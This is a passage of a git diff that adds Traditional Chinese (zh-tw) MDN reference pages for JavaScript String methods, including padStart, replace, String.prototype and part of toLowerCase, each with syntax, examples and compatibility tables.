+str3.match(null);       // returns ["null"]</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.10', 'String.prototype.match')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.match', 'String.prototype.match')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.match', 'String.prototype.match')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.match")}}</p>
+
+<h2 id="Firefox-specific_notes">Firefox-specific notes</h2>
+
+<ul>
+ <li><code>flags</code> was a non standard second argument only available in Gecko : <var>str</var>.match(<var>regexp, flags</var>)</li>
+ <li>Starting with Gecko 27 {{geckoRelease(27)}}, this method has been adjusted to conform with the ECMAScript specification. When <code>match()</code> is called with a global regular expression, the {{jsxref("RegExp.lastIndex")}} property (if specified) will be reset to <code>0</code> ({{bug(501739)}}).</li>
+ <li>Starting with Gecko 39 {{geckoRelease(39)}}, the non-standard <code>flags</code> argument is deprecated and throws a console warning ({{bug(1142351)}}).</li>
+ <li>Starting with Gecko 47 {{geckoRelease(47)}}, the non-standard <code>flags</code> argument is no longer supported in non-release builds and will soon be removed entirely ({{bug(1245801)}}).</li>
+ <li>Starting with Gecko 49 {{geckoRelease(49)}}, the non-standard <code>flags</code> argument is no longer supported ({{bug(1108382)}}).</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("RegExp")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/string/padstart/index.html b/files/zh-tw/web/javascript/reference/global_objects/string/padstart/index.html
new file mode 100644
index 0000000000..8a08d5924f
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/string/padstart/index.html
@@ -0,0 +1,96 @@
+---
+title: String.prototype.padStart()
+slug: Web/JavaScript/Reference/Global_Objects/String/padStart
+translation_of: Web/JavaScript/Reference/Global_Objects/String/padStart
+---
+<div>{{JSRef}}{{SeeCompatTable}}</div>
+
+<p><strong><code>padStart()</code></strong><code> 會將用給定用於填充的字串，以重複的方式，插入到目標字串的起頭(左側)，直到目標字串到達指定長度。</code></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>str</var>.padStart(<var>targetLength</var> [, <var>padString</var>])</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>targetLength</code></dt>
+ <dd>目標字串被填充後的長度。如果此參數小於原字串的長度，那將直接返回原字串。</dd>
+ <dt><code>padString</code> {{optional_inline}}</dt>
+ <dd>用來填充的字串。如果填充字串太長，則由左側開始，擷取所需要的長度。此參數預設值是空白 " " (U+0020).</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>目標字串被填充到指定長度後，所得的新字串。</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">'abc'.padStart(10);         // "       abc"
+'abc'.padStart(10, "foo");  // "foofoofabc"
+'abc'.padStart(6,"123465"); // "123abc"
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>這個方法還沒有被納入 ECMAScript 標準。現在還只是個<a href="https://github.com/tc39/proposal-string-pad-start-end">提案</a>。</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(57)}} </td>
+   <td>15</td>
+   <td>{{CompatGeckoDesktop(51)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(44)}}</td>
+   <td>{{CompatSafari(10)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(57)}}</td>
+   <td>{{CompatGeckoMobile(51)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatSafari(10)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("String.padEnd()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/string/prototype/index.html b/files/zh-tw/web/javascript/reference/global_objects/string/prototype/index.html
new file mode 100644
index 0000000000..41c7333dc6
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/string/prototype/index.html
@@ -0,0 +1,176 @@
+---
+title: String.prototype
+slug: Web/JavaScript/Reference/Global_Objects/String/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/String
+---
+<div>{{JSRef}}</div>
+
+<p>The <strong><code>String.prototype</code></strong> property represents the {{jsxref("String")}} prototype object.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>All {{jsxref("String")}} instances inherit from <code>String.prototype</code>. Changes to the <code>String</code> prototype object are propagated to all {{jsxref("String")}} instances.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt><code>String.prototype.constructor</code></dt>
+ <dd>Specifies the function that creates an object's prototype.</dd>
+ <dt>{{jsxref("String.prototype.length")}}</dt>
+ <dd>Reflects the length of the string.</dd>
+ <dt><code><em>N</em></code></dt>
+ <dd>Used to access the character in the <em>N</em>th position where <em>N</em> is a positive integer between 0 and one less than the value of {{jsxref("String.length", "length")}}. These properties are read-only.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<h3 id="Methods_unrelated_to_HTML">Methods unrelated to HTML</h3>
+
+<dl>
+ <dt>{{jsxref("String.prototype.charAt()")}}</dt>
+ <dd>Returns the character (exactly one UTF-16 code unit) at the specified index.</dd>
+ <dt>{{jsxref("String.prototype.charCodeAt()")}}</dt>
+ <dd>Returns a number that is the UTF-16 code unit value at the given index.</dd>
+ <dt>{{jsxref("String.prototype.codePointAt()")}}</dt>
+ <dd>Returns a nonnegative integer Number that is the code point value of the UTF-16 encoded code point starting at the specified index.</dd>
+ <dt>{{jsxref("String.prototype.concat()")}}</dt>
+ <dd>Combines the text of two strings and returns a new string.</dd>
+ <dt>{{jsxref("String.prototype.includes()")}}</dt>
+ <dd>Determines whether one string may be found within another string.</dd>
+ <dt>{{jsxref("String.prototype.endsWith()")}}</dt>
+ <dd>Determines whether a string ends with the characters of another string.</dd>
+ <dt>{{jsxref("String.prototype.indexOf()")}}</dt>
+ <dd>Returns the index within the calling {{jsxref("String")}} object of the first occurrence of the specified value, or -1 if not found.</dd>
+ <dt>{{jsxref("String.prototype.lastIndexOf()")}}</dt>
+ <dd>Returns the index within the calling {{jsxref("String")}} object of the last occurrence of the specified value, or -1 if not found.</dd>
+ <dt>{{jsxref("String.prototype.localeCompare()")}}</dt>
+ <dd>Returns a number indicating whether a reference string comes before or after or is the same as the given string in sort order.</dd>
+ <dt>{{jsxref("String.prototype.match()")}}</dt>
+ <dd>Used to match a regular expression against a string.</dd>
+ <dt>{{jsxref("String.prototype.normalize()")}}</dt>
+ <dd>Returns the Unicode Normalization Form of the calling string value.</dd>
+ <dt>{{jsxref("String.prototype.padEnd()")}}</dt>
+ <dd>Pads the current string from the end with a given string to create a new string from a given length.</dd>
+ <dt>{{jsxref("String.prototype.padStart()")}}</dt>
+ <dd>Pads the current string from the start with a given string to create a new string from a given length.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("String.prototype.quote()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Wraps the string in double quotes ("<code>"</code>").</s></dd>
+ <dt>{{jsxref("String.prototype.repeat()")}}</dt>
+ <dd>Returns a string consisting of the elements of the object repeated the given times.</dd>
+ <dt>{{jsxref("String.prototype.replace()")}}</dt>
+ <dd>Used to find a match between a regular expression and a string, and to replace the matched substring with a new substring.</dd>
+ <dt>{{jsxref("String.prototype.search()")}}</dt>
+ <dd>Executes the search for a match between a regular expression and a specified string.</dd>
+ <dt>{{jsxref("String.prototype.slice()")}}</dt>
+ <dd>Extracts a section of a string and returns a new string.</dd>
+ <dt>{{jsxref("String.prototype.split()")}}</dt>
+ <dd>Splits a {{jsxref("Global_Objects/String", "String")}} object into an array of strings by separating the string into substrings.</dd>
+ <dt>{{jsxref("String.prototype.startsWith()")}}</dt>
+ <dd>Determines whether a string begins with the characters of another string.</dd>
+ <dt>{{jsxref("String.prototype.substr()")}}</dt>
+ <dd>Returns the characters in a string beginning at the specified location through the specified number of characters.</dd>
+ <dt>{{jsxref("String.prototype.substring()")}}</dt>
+ <dd>Returns the characters in a string between two indexes into the string.</dd>
+ <dt>{{jsxref("String.prototype.toLocaleLowerCase()")}}</dt>
+ <dd>The characters within a string are converted to lower case while respecting the current locale. For most languages, this will return the same as {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toLocaleUpperCase()")}}</dt>
+ <dd>The characters within a string are converted to upper case while respecting the current locale. For most languages, this will return the same as {{jsxref("String.prototype.toUpperCase()", "toUpperCase()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toLowerCase()")}}</dt>
+ <dd>Returns the calling string value converted to lower case.</dd>
+ <dt>{{jsxref("String.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Returns an object literal representing the specified object; you can use this value to create a new object. Overrides the {{jsxref("Object.prototype.toSource()")}} method.</dd>
+ <dt>{{jsxref("String.prototype.toString()")}}</dt>
+ <dd>Returns a string representing the specified object. Overrides the {{jsxref("Object.prototype.toString()")}} method.</dd>
+ <dt>{{jsxref("String.prototype.toUpperCase()")}}</dt>
+ <dd>Returns the calling string value converted to uppercase.</dd>
+ <dt>{{jsxref("String.prototype.trim()")}}</dt>
+ <dd>Trims whitespace from the beginning and end of the string. Part of the ECMAScript 5 standard.</dd>
+ <dt>{{jsxref("String.prototype.trimLeft()")}} {{non-standard_inline}}</dt>
+ <dd>Trims whitespace from the left side of the string.</dd>
+ <dt>{{jsxref("String.prototype.trimRight()")}} {{non-standard_inline}}</dt>
+ <dd>Trims whitespace from the right side of the string.</dd>
+ <dt>{{jsxref("String.prototype.valueOf()")}}</dt>
+ <dd>Returns the primitive value of the specified object. Overrides the {{jsxref("Object.prototype.valueOf()")}} method.</dd>
+ <dt>{{jsxref("String.prototype.@@iterator()", "String.prototype[@@iterator]()")}}</dt>
+ <dd>Returns a new <code>Iterator</code> object that iterates over the code points of a String value, returning each code point as a String value.</dd>
+</dl>
+
+<h3 id="HTML_wrapper_methods">HTML wrapper methods</h3>
+
+<p>These methods are of limited use, as they provide only a subset of the available HTML tags and attributes.</p>
+
+<dl>
+ <dt>{{jsxref("String.prototype.anchor()")}}</dt>
+ <dd>{{htmlattrxref("name", "a", "&lt;a name=\"name\"&gt;")}} (hypertext target)</dd>
+ <dt>{{jsxref("String.prototype.big()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("big")}}</dd>
+ <dt>{{jsxref("String.prototype.blink()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("blink")}}</dd>
+ <dt>{{jsxref("String.prototype.bold()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("b")}}</dd>
+ <dt>{{jsxref("String.prototype.fixed()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("tt")}}</dd>
+ <dt>{{jsxref("String.prototype.fontcolor()")}} {{deprecated_inline}}</dt>
+ <dd>{{htmlattrxref("color", "font", "&lt;font color=\"color\"&gt;")}}</dd>
+ <dt>{{jsxref("String.prototype.fontsize()")}} {{deprecated_inline}}</dt>
+ <dd>{{htmlattrxref("size", "font", "&lt;font size=\"size\"&gt;")}}</dd>
+ <dt>{{jsxref("String.prototype.italics()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("i")}}</dd>
+ <dt>{{jsxref("String.prototype.link()")}}</dt>
+ <dd>{{htmlattrxref("href", "a", "&lt;a href=\"url\"&gt;")}} (link to URL)</dd>
+ <dt>{{jsxref("String.prototype.small()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("small")}}</dd>
+ <dt>{{jsxref("String.prototype.strike()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("strike")}}</dd>
+ <dt>{{jsxref("String.prototype.sub()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("sub")}}</dd>
+ <dt>{{jsxref("String.prototype.sup()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("sup")}}</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.3.1', 'String.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype', 'String.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype', 'String.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.prototype")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/string/replace/index.html b/files/zh-tw/web/javascript/reference/global_objects/string/replace/index.html
new file mode 100644
index 0000000000..1c42d9925f
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/string/replace/index.html
@@ -0,0 +1,286 @@
+---
+title: String.prototype.replace()
+slug: Web/JavaScript/Reference/Global_Objects/String/replace
+translation_of: Web/JavaScript/Reference/Global_Objects/String/replace
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>replace()</code></strong> 方法會傳回一個新字串，此新字串是透過將原字串與 <code>pattern</code> 比對，以 <code>replacement</code> 取代吻合處而生成。<code>pattern</code> 可以是字串或 {{jsxref("RegExp")}}，而 <code>replacement</code> 可以是字串或函式（會在每一次匹配時被呼叫）。</p>
+
+<div class="note">
+<p>備註：原始的字串會保持不變。</p>
+</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>str</var>.replace(<var>regexp</var>|<var>substr</var>, <var>newSubstr</var>|<var>function</var>)</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>regexp</code> (pattern)</dt>
+ <dd>{{jsxref("RegExp")}} 的物件或文字。 被比對出來的部分將會被取代為 <code>newSubStr</code> 或是取代為 <code>function</code> 的回傳值。</dd>
+ <dt><code>substr</code> (pattern)</dt>
+ <dd>要被 <code>newSubStr</code> 取代的 {{jsxref("String")}}。它被視為逐字字符串，並且不會被解釋為正則表達式。只會替換第一次出現。</dd>
+ <dt><code>newSubStr</code> (replacement)</dt>
+ <dd>The {{jsxref("String")}} that replaces the substring specified by the specified <code>regexp</code> or <code>substr</code> parameter. A number of special replacement patterns are supported; see the "<a href="#指定一個字串為參數">Specifying a string as a parameter</a>" section below.</dd>
+ <dt><code>function</code> (replacement)</dt>
+ <dd>A function to be invoked to create the new substring to be used to replace the matches to the given <code>regexp</code> or <code>substr</code>. The arguments supplied to this function are described in the "<a href="#指定一個函式為參數">Specifying a function as a parameter</a>" section below.</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>A new string with some or all matches of a pattern replaced by a replacement.</p>
+
+<h2 id="描述">描述</h2>
+
+<p>這個方法不會變更所呼叫的 {{jsxref("String")}}。它只會回傳新的字串。</p>
+
+<p>To perform a global search and replace, include the <code>g</code> switch in the regular expression.</p>
+
+<h3 id="指定一個字串為參數">指定一個字串為參數</h3>
+
+<p>The replacement string can include the following special replacement patterns:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td class="header">Pattern</td>
+   <td class="header">Inserts</td>
+  </tr>
+  <tr>
+   <td><code>$$</code></td>
+   <td>Inserts a "$".</td>
+  </tr>
+  <tr>
+   <td><code>$&amp;</code></td>
+   <td>Inserts the matched substring.</td>
+  </tr>
+  <tr>
+   <td><code>$`</code></td>
+   <td>Inserts the portion of the string that precedes the matched substring.</td>
+  </tr>
+  <tr>
+   <td><code>$'</code></td>
+   <td>Inserts the portion of the string that follows the matched substring.</td>
+  </tr>
+  <tr>
+   <td><code>$<em>n</em></code></td>
+   <td>Where <code><em>n</em></code> is a positive integer less than 100, inserts the <em>n</em>th parenthesized submatch string, provided the first argument was a {{jsxref("RegExp")}} object.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="指定一個函式為參數">指定一個函式為參數</h3>
+
+<p>You can specify a function as the second parameter. In this case, the function will be invoked after the match has been performed. The function's result (return value) will be used as the replacement string. (Note: the above-mentioned special replacement patterns do <em>not</em> apply in this case.) Note that the function will be invoked multiple times for each full match to be replaced if the regular expression in the first parameter is global.</p>
+
+<p>The arguments to the function are as follows:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td class="header">Possible name</td>
+   <td class="header">Supplied value</td>
+  </tr>
+  <tr>
+   <td><code>match</code></td>
+   <td>The matched substring. (Corresponds to <code>$&amp;</code> above.)</td>
+  </tr>
+  <tr>
+   <td><code>p1, p2, ...</code></td>
+   <td>The <em>n</em>th parenthesized submatch string, provided the first argument to <code>replace()</code> was a {{jsxref("RegExp")}} object. (Corresponds to <code>$1</code>, <code>$2</code>, etc. above.) For example, if <code>/(\a+)(\b+)/</code>, was given, <code>p1</code> is the match for <code>\a+</code>, and <code>p2</code> for <code>\b+</code>.</td>
+  </tr>
+  <tr>
+   <td><code>offset</code></td>
+   <td>The offset of the matched substring within the whole string being examined. (For example, if the whole string was <code>'abcd'</code>, and the matched substring was <code>'bc'</code>, then this argument will be 1.)</td>
+  </tr>
+  <tr>
+   <td><code>string</code></td>
+   <td>The whole string being examined.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>(The exact number of arguments will depend on whether the first argument was a {{jsxref("RegExp")}} object and, if so, how many parenthesized submatches it specifies.)</p>
+
+<p>The following example will set <code>newString</code> to <code>'abc - 12345 - #$*%'</code>:</p>
+
+<pre class="brush: js">function replacer(match, p1, p2, p3, offset, string) {
+  // p1 is nondigits, p2 digits, and p3 non-alphanumerics
+  return [p1, p2, p3].join(' - ');
+}
+var newString = 'abc12345#$*%'.replace(/([^\d]*)(\d*)([^\w]*)/, replacer);
+console.log(newString);  // abc - 12345 - #$*%
+</pre>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="於_replace()_中定義正則表示式">於 <code>replace()</code> 中定義正則表示式</h3>
+
+<p>下例的正規表達式被定義為 <code>replace()</code>、並包含了忽略大小寫的 flag。</p>
+
+<pre class="brush: js">var str = 'Twas the night before Xmas...';
+var newstr = str.replace(/xmas/i, 'Christmas');
+console.log(newstr);  // Twas the night before Christmas...
+</pre>
+
+<p>上例會顯示「Twas the night before Christmas...」</p>
+
+<h3 id="使用_global_及_ignore_來配合_replace()">使用 <code>global</code> 及 <code>ignore</code> 來配合 <code>replace()</code></h3>
+
+<p>Global replace can only be done with a regular expression. In the following example, the regular expression includes the global and ignore case flags which permits <code>replace()</code> to replace each occurrence of 'apples' in the string with 'oranges'.</p>
+
+<pre class="brush: js">var re = /apples/gi;
+var str = 'Apples are round, and apples are juicy.';
+var newstr = str.replace(re, 'oranges');
+console.log(newstr);  // oranges are round, and oranges are juicy.
+</pre>
+
+<p>上例會顯示「oranges are round, and oranges are juicy」。</p>
+
+<h3 id="替換字串中的單字">替換字串中的單字</h3>
+
+<p>下例程式將切換字串內的單字。對 replacement text 而言，程式會使用 <code>$1</code> and <code>$2</code> 的 replacement pattern。</p>
+
+<pre class="brush: js">var re = /(\w+)\s(\w+)/;
+var str = 'John Smith';
+var newstr = str.replace(re, '$2, $1');
+console.log(newstr);  // Smith, John
+</pre>
+
+<p>上例會顯示「Smith, John」。</p>
+
+<h3 id="使用行內函式來修改匹配的字元">使用行內函式來修改匹配的字元</h3>
+
+<p>In this example, all occurrences of capital letters in the string are converted to lower case, and a hyphen is inserted just before the match location. The important thing here is that additional operations are needed on the matched item before it is given back as a replacement.</p>
+
+<p>The replacement function accepts the matched snippet as its parameter, and uses it to transform the case and concatenate the hyphen before returning.</p>
+
+<pre class="brush: js">function styleHyphenFormat(propertyName) {
+  function upperToHyphenLower(match, offset, string) {
+    return (offset ? '-' : '') + match.toLowerCase();
+  }
+  return propertyName.replace(/[A-Z]/g, upperToHyphenLower);
+}
+</pre>
+
+<p>Given <code>styleHyphenFormat('borderTop')</code>, this returns 'border-top'.</p>
+
+<p>Because we want to further transform the <em>result</em> of the match before the final substitution is made, we must use a function. This forces the evaluation of the match prior to the {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}} method. If we had tried to do this using the match without a function, the {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}} would have no effect.</p>
+
+<pre class="brush: js">var newString = propertyName.replace(/[A-Z]/g, '-' + '$&amp;'.toLowerCase());  // won't work
+</pre>
+
+<p>This is because <code>'$&amp;'.toLowerCase()</code> would be evaluated first as a string literal (resulting in the same <code>'$&amp;'</code>) before using the characters as a pattern.</p>
+
+<h3 id="將華氏溫度置換成攝氏溫度">將華氏溫度置換成攝氏溫度</h3>
+
+<p>The following example replaces a Fahrenheit degree with its equivalent Celsius degree. The Fahrenheit degree should be a number ending with F. The function returns the Celsius number ending with C. For example, if the input number is 212F, the function returns 100C. If the number is 0F, the function returns -17.77777777777778C.</p>
+
+<p>The regular expression <code>test</code> checks for any number that ends with F. The number of Fahrenheit degree is accessible to the function through its second parameter, <code>p1</code>. The function sets the Celsius number based on the Fahrenheit degree passed in a string to the <code>f2c()</code> function. <code>f2c()</code> then returns the Celsius number. This function approximates Perl's <code>s///e</code> flag.</p>
+
+<pre class="brush: js">function f2c(x) {
+  function convert(str, p1, offset, s) {
+    return ((p1 - 32) * 5/9) + 'C';
+  }
+  var s = String(x);
+  var test = /(-?\d+(?:\.\d*)?)F\b/g;
+  return s.replace(test, convert);
+}
+</pre>
+
+<h3 id="利用行內函式及正則表示式來避免使用_for_迴圈">利用行內函式及正則表示式來避免使用 <code>for</code> 迴圈</h3>
+
+<p>The following example takes a string pattern and converts it into an array of objects.</p>
+
+<p><strong>Input:</strong></p>
+
+<p>A string made out of the characters <code>x</code>, <code>-</code> and <code>_</code></p>
+
+<pre>x-x_
+x---x---x---x---
+x-xxx-xx-x-
+x_x_x___x___x___
+</pre>
+
+<p><strong>Output:</strong></p>
+
+<p>An array of objects. An <code>'x'</code> denotes an <code>'on'</code> state, a <code>'-'</code> (hyphen) denotes an <code>'off'</code> state and an <code>'_'</code> (underscore) denotes the length of an <code>'on'</code> state.</p>
+
+<pre class="brush: json">[
+  { on: true, length: 1 },
+  { on: false, length: 1 },
+  { on: true, length: 2 }
+  ...
+]
+</pre>
+
+<p><strong>Snippet:</strong></p>
+
+<pre class="brush: js">var str = 'x-x_';
+var retArr = [];
+str.replace(/(x_*)|(-)/g, function(match, p1, p2) {
+  if (p1) { retArr.push({ on: true, length: p1.length }); }
+  if (p2) { retArr.push({ on: false, length: 1 }); }
+});
+
+console.log(retArr);
+</pre>
+
+<p>This snippet generates an array of 3 objects in the desired format without using a <code>for</code> loop.</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.11', 'String.prototype.replace')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.replace', 'String.prototype.replace')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.replace', 'String.prototype.replace')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">本相容性表格使用結構化資料自動產生。想要貢獻的話，請看看 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 並發個 PR。</p>
+
+<p>{{Compat("javascript.builtins.String.replace")}}</p>
+
+<h2 id="Firefox-specific_notes">Firefox-specific notes</h2>
+
+<ul>
+ <li>Starting with Gecko 27 {{geckoRelease(27)}}, this method has been adjusted to conform with the ECMAScript specification. When <code>replace()</code> is called with a global regular expression, the {{jsxref("RegExp.lastIndex")}} property (if specified) will be reset to <code>0</code> ({{bug(501739)}}).</li>
+ <li>Starting with Gecko 39 {{geckoRelease(39)}}, the non-standard <code>flags</code> argument is deprecated and throws a console warning ({{bug(1142351)}}).</li>
+ <li>Starting with Gecko 47 {{geckoRelease(47)}}, the non-standard <code>flags</code> argument is no longer supported in non-release builds and will soon be removed entirely ({{bug(1245801)}}).</li>
+ <li>Starting with Gecko 49 {{geckoRelease(49)}}, the non-standard <code>flags</code> argument is no longer supported ({{bug(1108382)}}).</li>
+</ul>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/string/tolowercase/index.html b/files/zh-tw/web/javascript/reference/global_objects/string/tolowercase/index.html
new file mode 100644
index 0000000000..35b9dc71bc
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/string/tolowercase/index.html
@@ -0,0 +1,77 @@
+---
+title: String.prototype.toLowerCase()
+slug: Web/JavaScript/Reference/Global_Objects/String/toLowerCase
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toLowerCase
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>toLowerCase()</code></strong> 函式会回传将字符串转换为英文小写字母后的结果。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-tolowercase.html")}}</div>
+
+
+
+<h2 id="语法">语法</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.toLowerCase()</code></pre>
+
+<h3 id="回传值">回传值</h3>
+
+<p>回传一组将原字串英文内容转换成英文小写字母后的结果。</p>
+
+<h2 id="描述">描述</h2>
+
+<p>The <code>toLowerCase()</code> 函式会回传一组将原字符串英文内容转换成英文小写字母后的结果。 <code>toLowerCase()</code> 并不会影响到原字符串 <code>str</code> 的内容值。</p>
+
+<h2 id="范例">范例</h2>
+
+<h3 id="使用toLowerCase()">使用<code>toLowerCase()</code></h3>
+
+<pre class="brush: js">console.log('ALPHABET'.toLowerCase()); // 'alphabet'
+</pre>
+
+<h2 id="规范">规范</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">规范</th>
+   <th scope="col">状态</th>
+   <th scope="col">注解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.16', 'String.prototype.toLowerCase')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.tolowercase', 'String.prototype.toLowerCase')}}</td>
